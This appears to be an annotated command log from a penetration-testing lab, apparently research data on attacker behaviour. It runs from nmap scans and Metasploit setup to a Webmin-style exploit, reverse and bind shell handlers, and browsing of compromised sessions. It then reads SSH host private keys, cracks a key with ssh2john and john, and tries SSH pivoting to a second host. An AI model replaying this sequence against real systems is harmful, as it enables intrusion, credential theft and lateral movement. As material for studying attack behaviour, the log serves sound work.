
nmap --help A0
nmap -p1-65535 172.18.1.5 A0
msfdb init U
msf U
apt-get install armitage U
apt-get update U
exit U
armitage U
back U
db_status U
setg U
back U
back U
db_connect msf:h+L0Xf0385dbIjRgtPnNOaZSMxa7YHoFzS6ojuOkYFc=@localhost:5432/msf U
use windows/meterpreter/reverse_tcp U
back U
back U
setg LHOST 10.1.135.83 U
jobs U
back U
setg LPORT 28605 U
back U
back U
hosts -a 172.18.1.5 U
back U
use auxiliary/scanner/portscan/tcp U
set RHOSTS 172.18.1.5 U
set THREADS 24 U
set PORTS 50000 U
run -j U
db_nmap --min-hostgroup 96 -T4 -A -v -n 172.18.1.5 U
show exploits U
back U
use auxiliary/scanner/portscan/tcp U
set RHOSTS 172.18.1.5 U
set THREADS 24 U
set PORTS 50000 U
run -j U
msfconsole U
set RHOSTS 172.18.1.5 U
show U
show all U
show U
set exploit U
set exploit 2019-15107 A1 M1
help U
db_nmap --min-hostgroup 96 -T4 -A -v -n 172.18.1.5 U
use exploit/multi/handler U
set LHOST 0.0.0.0 U
set PAYLOAD generic/shell_reverse_tcp U
set LPORT 14718 U
set ExitOnSession false U
exploit -j U
use exploit/47230 U
set RHOSTS 172.18.1.5 U
set TARGETURI / U
set TARGET 0 U
set LHOST 10.1.135.83 U
set LPORT 11265 U
set PAYLOAD generic/shell_bind_tcp U
set RPORT 80 U
set SSL 0 U
exploit -j U
use exploit/47230 U
set RHOSTS 172.18.1.5 U
set TARGETURI / U
set TARGET 0 U
set LHOST 10.1.135.83 U
set LPORT 2139 U
set PAYLOAD generic/shell_bind_tcp U
set RPORT 10000 U
set SSL 0 U
exploit -j U
sessions U
sessions -u 1 U
use exploit/47230 U
set RHOSTS U
set TARGETURI / U
set TARGET 0 U
set LHOST 10.1.135.83 U
set LPORT 26069 U
set PAYLOAD generic/shell_bind_tcp U
set RPORT 10000 U
set SSL 0 U
exploit -j U
use exploit/multi/handler U
set LHOST 10.1.135.83 U
set LPORT 8871 U
set PAYLOAD generic/shell_reverse_tcp U
set ExitOnSession false U
exploit -j U
hosts -a 172.18.1.5 U
back U
use exploit/47230 U
set RHOSTS 172.18.1.5 U
set TARGETURI / U
set TARGET 0 U
set LHOST 10.1.135.83 U
set LPORT 17595 U
set PAYLOAD generic/shell_bind_tcp U
set RPORT 10000 U
set SSL 0 U
exploit -j U
sessions U
sessions -u 3 U
sessions –help U
sessions -h U
sessions -c 3 ls U
sessions 3 -c ls U
sessions 3 -c dir U
sessions 3 -c ls U
sessions 3 -c dir U
sessions 3 -c cd / U
sessions 3 -c pwd U
sessions 3 -c dir U
sessions 3 -c WARNING-READ-ME.txt U
sessions 3 -c nano WARNING-READ-ME.txt U
sessions 3 -c leafpad WARNING-READ-ME.txt U
sessions 3 -c editor WARNING-READ-ME.txt U
sessions 3 -c editor WARNING-READ-ME.txt U
sessions -u U
sessions -u 1 U
sessions U
sessions 3 -c less WARNING-READ-ME.txt U
sessions 3 -c ls U
sessions -k 3 U
sessions -c cd ? U
sessions -c cd / U
sessions -c cd / U
sessions -c dir U
sessions -c search history U
sessions -c find history U
sessions -c find *.bash_history U
sessions -c find -name *.bash_history U
sessions -c dir /home/eve U
sessions -c ls U
sessions -c dir /home U
sessions -c cd /home/eve U
sessions -c ls U
sessions 3 -c less .bash_history U
hosts -a 10.1.17.4 U
back U
sessions 3 -c tree U
sessions 3 -c pwd U
sessions 3 -c dir U
sessions 3 -c cd / U
sessions 3 -c find -name ssh U
sessions 3 -c cd /etc/ssh U
sessions 3 -c dir U
sessions 3 -c less ssh_host_rsa_key U
openssh U
ssh U
ssh -i /root/ssh U
dir U
dir desktop U
dir Desktop U
ssh -i /root/desktop/ssh U
less /desktop/ssh U
pwd A9 M9
less /root/desktop/ssh U
less /root/Desktop/ssh U
ssh -i /root/Desktop/ssh 10.1.17.4 U
sessions 3 -c less ssh_host_ecdsa_key.pub U
ssh -i /root/Desktop/sshpub 10.1.17.4 U
sessions 3 -c less ssh_host_ecdsa_key U
ssh -i /root/Desktop/ssh 10.1.17.4 U
ssh U
ssh -i /root/Desktop/ssh 10.1.17.4 U
sessions 3 -c less ssh_config U
ssh -i /etc/ssh/ssh_comp 10.1.17.4 U
chmod 600 /etc/ssh/ssh_comp U
ssh -i /etc/ssh/ssh_comp 10.1.17.4 U
sessions 3 -c cd /usr/bin/ssh U
sessions 3 -c ls U
sessions 3 -c less sshd_config U
sessions 3 -c ls U
sessions 3 -c less ssh_host_ecdsa_key U
sessions -c cd / U
sessions -c find -fname ecdsa U
sessions -c find -name ecdsa U
sessions -c find -name ecdsa_key U
sessions -c find -fname *ecdsa_key U
sessions -c find -fname ssh_host_ecdsa_key U
sessions -c pwd U
sessions -c ls U
python ssh2john.py U
python ssh2john.py /etc/ssh/ssh_comp A5 M5
python ssh2john.py --help A5 M5
python ssh2john.py U
python ssh2john.py U
python ssh2john.py /root/Desktop/ssh_comp A5 M5
john --wordlist rockyou.txt /root/Desktop/john U
john --wordlist /root/Desktop/john U
john --wordlist /usr/share/wordlists/rockyou.txt /root/Desktop/john A6 M6
ssh -i /etc/ssh/ssh_comp 10.1.17.4 U
ssh -i /usr/Desktop/ssh_comp 10.1.17.4 U
ssh -i /root/Desktop/ssh_comp 10.1.17.4 U
chmod 600 /root/Desktop/ssh_comp U
ssh -i /root/Desktop/ssh_comp 10.1.17.4 U